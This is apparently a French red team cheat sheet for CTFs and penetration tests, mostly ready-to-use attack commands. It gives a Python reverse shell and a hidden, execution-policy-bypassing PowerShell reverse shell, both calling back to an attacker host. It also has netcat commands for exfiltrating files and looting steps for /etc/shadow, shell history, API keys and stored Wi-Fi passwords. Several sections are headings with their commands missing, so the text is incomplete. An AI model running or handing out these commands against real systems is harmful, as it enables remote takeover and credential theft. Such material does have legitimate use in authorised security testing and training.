Red Team Cheatsheet
Le mémento de survie pour les CTF et Pentests. Les commandes qu'on oublie toujours au pire moment.
1. Reverse Shells
Comment connecter la victime (RHOST) à votre machine attaquante (LHOST:LPORT). * LHOST : Votre IP (Attaquant). * LPORT : Votre port d'écoute (ex: 4444).
Sur votre machine (Listener) :
Bash
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP (Web Shell)
Netcat (Si version -e supportée)
Si pas de -e (OpenBSD netcat) :PowerShell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("LHOST",LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
2. Stabilisation de Shell (TTY Upgrade)
Vous avez un shell, mais CTRL+C tue votre connexion et vim ne marche pas ? Il faut l'upgrade.
Dans le shell victime : 1. Lancer un pseudo-terminal Python :
2. Mettre en pause (CTRL+Z).
Sur votre machine (Kali) : 3. Configurer le terminal local :
4. (De retour dans le shell victime) :reset
5. Définir le type de terminal :
3. Transfert de Fichiers
Comment uploader linpeas.sh ou exfiltrer shadow ?
Serveur HTTP (Le classique)
Attaquant :
Victime :Netcat (Si pas de wget/curl)
Receveur (Attaquant) : nc -lvnp 4444 > outfile
Envoyeur (Victime) : nc -w 3 LHOST 4444 < infile
Windows (Certutil)
Natif sur Windows, bypass souvent les restrictions.
PowerShell Download
SMB (Impacket)
Attaquant :
Victime (Windows) :4. Looting (Trouver les Mots de Passe)
Linux
history,cat ~/.bash_historyenv(Chercher des clés API)/var/www/html/config.php(Mots de passe BDD)cat /etc/shadow(Si root)
Windows
- Registre (AutoLogon) :
- SAM & SYSTEM (Pour dumper les hashs offline) :
- Wifi Passwords :
powershell netsh wlan show profile name="SSID" key=clear
5. Tunneling (Pivoting)
Accéder à un port interne via la machine compromise.
SSH Local Port Forwarding
"Je veux accéder au port 3306 de la victime sur mon port 3306."
Chisel (Le top du tunnel SOCKS)
Serveur (Attaquant) :
Client (Victime) : Puis configurer/etc/proxychains.conf sur 1080.